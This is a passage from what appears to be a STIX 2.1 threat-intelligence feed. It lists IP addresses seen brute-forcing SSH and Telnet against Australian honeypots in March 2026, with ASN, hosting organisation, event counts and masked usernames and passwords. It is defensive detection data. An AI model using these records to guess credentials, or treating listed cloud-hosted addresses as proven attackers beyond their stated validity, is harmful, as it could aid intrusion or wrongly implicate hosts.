      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway S.a.s.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, a******1, j*******0, m*******6, s******4.",
      "id": "indicator--1ac74749-dfcb-4cc9-aeb6-c91e40492ba6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.159.22.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, ***, h****p, j**a. Passwords observed (masked): 1****1, ***, ***, d****y, ***.",
      "id": "indicator--3a91bfef-3c24-40f6-b50b-696b379c4637",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.2.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--612104bf-0253-446a-a890-afa8ece365ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.54.247.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): 3**********4, c*****7, c***d, a***t, d******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T12:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--f5031ef2-314f-4caf-ad26-021337519975",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.58.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:15:03.000Z",
      "valid_until": "2026-04-11T12:15:01.000Z"
    },
    {
      "created": "2026-03-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--a8ae8cad-e75b-44ab-a214-3b377e8024b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.170.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:15:03.000Z",
      "valid_until": "2026-04-11T12:15:01.000Z"
    },
    {
      "created": "2026-03-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--4e33ede0-b29e-41b2-a05e-4795ed706704",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.221.68.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:15:03.000Z",
      "valid_until": "2026-04-11T12:15:01.000Z"
    },
    {
      "created": "2026-03-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:15:03.000Z",
      "valid_until": "2026-04-11T12:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--a076d228-a603-4ea3-bc0b-07ed7242c94f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.199.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, a***n, a******3, a*******6, l*****n.",
      "id": "indicator--a11c7c0b-94fd-4735-892c-fa5086495d36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.93.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--5b78f6ba-a91f-4843-9ba2-a82c04fc3019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.71.241.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--e2a5ef02-643f-4537-89dc-3b9da65c887c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.62.130.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--894de6e6-04a8-45f3-a024-172a261063a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.79.72.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--735c283e-72ff-4d2d-bba1-6c3e857d1a25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.80.162.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T13:15:03.000Z",
      "valid_until": "2026-04-11T13:15:01.000Z"
    },
    {
      "created": "2026-03-10T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 36873. Organisation(s): Celtel Nigeria Limited t.a ZAIN.",
      "id": "indicator--64141ea5-55c5-4eb5-8d8b-c5ea42278549",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.114.21.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T14:15:14.000Z",
      "valid_until": "2026-04-11T14:15:12.000Z"
    },
    {
      "created": "2026-03-10T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 75. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--daddd03a-e23e-4aa7-8a19-eed28bf56620",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.52.142.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T14:15:14.000Z",
      "valid_until": "2026-04-11T14:15:12.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): t***2.",
      "id": "indicator--a4556d76-548f-4c5f-9eed-92448f0a5fdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.199.225.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ba6982e3-2c94-4c16-964e-adc60d77946e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.23.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): c***d, 3**********4, ***, a***l, b**t. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A********!.",
      "id": "indicator--aaa29eee-7f40-430d-ab96-427b168f9c31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.236.75.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e9a19e95-ef7b-483a-942b-7b373f9229d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 214094. Organisation(s): 'Association Osservatorio Nessuno ODV'. Usernames observed (masked): s***p. Passwords observed (masked): G**************5.",
      "id": "indicator--9ee34a64-8da0-4acf-8af7-523037606a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.190.76.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b68acf7d-903e-4036-aa8b-cb595e80bbfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--62990283-a294-436c-b7cc-9a9df950aa26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.209.246.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--9461887b-01cb-4893-977a-8bf15d4d2dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.155.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T15:15:14.000Z",
      "valid_until": "2026-04-11T15:15:11.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--300afd39-7bc1-4346-87c7-09e37d6d3c81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.26.82.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): u**r, 3**********4, a***********r, c***d, j**n. Passwords observed (masked): ***, !******5, *, 1***5, 1****6.",
      "id": "indicator--afa015b5-45b4-4171-913f-0dac83f2f08e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.63.25.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c****g, i*******r, s***d. Passwords observed (masked): a***n, *, a*******3, c****g, i*******r.",
      "id": "indicator--e837e9a5-b928-42ff-b6d6-e6b1aec3ae2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.168.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--78ce8eb3-594a-441e-bc9a-2d81a628e7a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.246.188.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 38121. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--f8f98c63-7fb9-48ca-978b-6d6af7ac54c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.200.69.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0e40264e-a4e2-4e74-8781-902a2ee8f52e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r, a*****e. Passwords observed (masked): 1****6, P******d, l*****n, p******d, p******d.",
